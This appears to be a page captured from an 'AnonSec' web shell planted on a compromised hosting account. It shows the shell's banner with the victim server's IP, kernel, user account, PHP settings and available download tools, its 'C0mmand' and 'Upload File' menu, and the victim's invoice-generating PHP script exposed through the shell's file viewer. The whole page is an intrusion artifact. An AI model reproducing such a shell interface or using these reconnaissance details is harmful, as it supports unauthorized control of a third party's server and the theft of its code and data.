AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/TEST/../MCPRO/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TEST/../MCPRO/facturepdf.php
<?php
include 'code/init.php' ;


if(isset($_POST['debutmonth'])) {
$dated = sprintf("%02d%02d00", $_POST['debutyear'], $_POST['debutmonth']);
$datef = sprintf("%02d%02d31", $_POST['debutyear'], $_POST['debutmonth']);
$factures=array();

// echo " ++ $dated / $datef ++ ";
include 'code/facture-pdf.php' ;
$rf=dbi_query("SELECT * FROM ".TABLE_FACT." f , ".TABLE_CLIENT." c  WHERE f.agence_id=$agence  AND  date_fact BETWEEN  $dated AND $datef AND f.client_id=c.client_id ORDER BY client_nom,client_pnom") ;
if(mysql_num_rows($rf)>0){
while($f = dbi_fetch_row($rf))

{

$client_id=$f['client_id'];
$fact_id=$f['fact_id'];
$chemFact="factures/$client_id/";
// echo " $client_id / $fact_id !!! ";
if (!is_dir("factures"))
			{
				mkdir("factures", 0755) ;
				chmod("factures", 0755) ;
			}
$dossier="factures";			
			if (!is_dir("factures/$client_id"))
			{
				mkdir("factures/$client_id", 0755) ;
				chmod("factures/$client_id", 0755) ;
			}
$f = new Facture ($fact_id ) ;
$f->Output($chemFact.$fact_id.".pdf", 'F') ;
							$factures[] = $chemFact.$fact_id.".pdf" ;
}

$fichier_pdf = "factures/$agence-".date('d-m-Y-H:i').".pdf";
	pdf_concatene($factures, $fichier_pdf) ;
	}
	
	}
	
	
	print_header ('', '', $BodyX );
?>



		
		
		
		
		<form action="" method="post">
  <input type="hidden" name="action" value="recherche" />
  <h1>Afficher les factures</h1>
  <table>
    <tr>
      <td>Date de facturation :  </td>
      <td colspan="2">
	  <input name="tab1" type="hidden" value="1"><html><?		
		echo '<select name="debutmonth">';
	    for ($k = 1 ; $k <= 12 ; $k++) {
		   $m = month_short_name ($k - 1);
		   echo "<option value=\"$k\"".($k == date("m") ? " selected=\"selected\" style=\"font-weight:bold\"" : "").">$m</option>\n";
		}
		echo '</select>';

		echo '<select name="debutyear">';
	    for ($k = (date("Y")-5) ; $k <= (date("Y")+3) ; $k++) {
		   echo "<option value=\"$k\"".($k == date("Y") ? " selected=\"selected\" style=\"font-weight:bold\"" : "").">$k</option>\n";
		}
		echo '</select>';
	
	
			
?>
	  
	<input type="submit" class="bigbutton" value="Afficher les factures" style="text-align:center">  
	  </td>
    </tr>

  </table>
  
</form>

AnonSec - 2021